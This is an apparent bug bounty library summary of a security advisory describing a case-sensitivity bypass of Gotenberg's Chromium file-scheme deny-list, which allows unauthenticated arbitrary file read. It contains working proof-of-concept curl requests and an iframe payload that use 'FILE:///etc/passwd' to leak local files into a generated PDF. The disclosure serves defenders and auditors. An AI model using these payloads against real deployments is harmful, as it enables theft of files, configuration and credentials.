# Gotenberg has Chromium deny-list bypass via case-insensitive URL scheme (bypass of GHSA-rh2x-ccvw-q7r3)

Gotenberg's Chromium deny-list regex is case-sensitive, so FILE:///etc/passwd bypasses it and Chromium still resolves it, enabling unauthenticated arbitrary file read.

- Payout: Research
- Severity: high
- Program: Gotenberg
- Found by: q1uf3ng
- Disclosed: 2026-03-30
- CVE: CVE-2026-27018
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-jjwv-57xh-xr6r
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-jjwv-57xh-xr6r
- Tags: area:web domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:chromium tech:go technique:incomplete-fix technique:parser-differential vuln:access-control vuln:path-traversal vuln:ssrf

**Target:** Gotenberg Chromium URL/HTML conversion endpoints
**Root cause:** Default deny-list regex `^file:(?!//\/tmp/).*` is compiled with regexp2 flag 0 (case-sensitive), but RFC 3986 schemes are case-insensitive and Chromium lowercases the scheme before navigation, so mixed-case `FILE:` passes the filter yet resolves as `file:`.
**Steps:**
1. Start Gotenberg 8.26.0 with defaults: `docker run --rm -p 3000:3000 gotenberg/gotenberg:8.26.0 gotenberg`
2. POST to `/forms/chromium/convert/url` with `--form 'url=FILE:///etc/passwd' -o output.pdf`
3. Open output.pdf; it contains /etc/passwd contents
4. Alternatively submit HTML with `<iframe src="FILE:///etc/passwd">` to `/forms/chromium/convert/html`
5. Mixed-case variants `File:`, `fILE:`, `fiLE:` also work
**How found:** Reporter examined the 8.1.0 fix for GHSA-rh2x-ccvw-q7r3, noticed the deny-list regex is anchored to lowercase `file:` and compiled with no case-insensitive flag, and reasoned from RFC 3986 that Chromium would normalize mixed-case schemes after the filter ran.
**Exploitation:** Unauthenticated attacker sends a conversion request with an uppercase/mixed-case file scheme URL (directly or via iframe/link in HTML); the deny-list check passes because matching is case-sensitive, then Chromium normalizes to lowercase and reads the local file into the rendered PDF.
**Escalation:** Same impact as CVE-2024-21527: arbitrary file read from the container, leaking env vars, config and credentials.
**Insight:** When auditing deny-list/allow-list regexes guarding URL schemes, check for missing `(?i)` and test mixed-case schemes — the filter sees the raw string but the downstream parser normalizes case, creating a parser-differential bypass.

## Proof of concept (copied exactly from the original report)

**curl URL endpoint with uppercase FILE scheme**

```
curl -X POST 'http://localhost:3000/forms/chromium/convert/url' \
  --form 'url=FILE:///etc/passwd' -o output.pdf
```

**HTML iframe with uppercase FILE scheme**

```
<iframe src="FILE:///etc/passwd" width="100%" height="100%"></iframe>
```

**curl HTML conversion of malicious iframe**

```
curl -X POST 'http://localhost:3000/forms/chromium/convert/html' \
  -F 'files=@index.html' -o output.pdf
```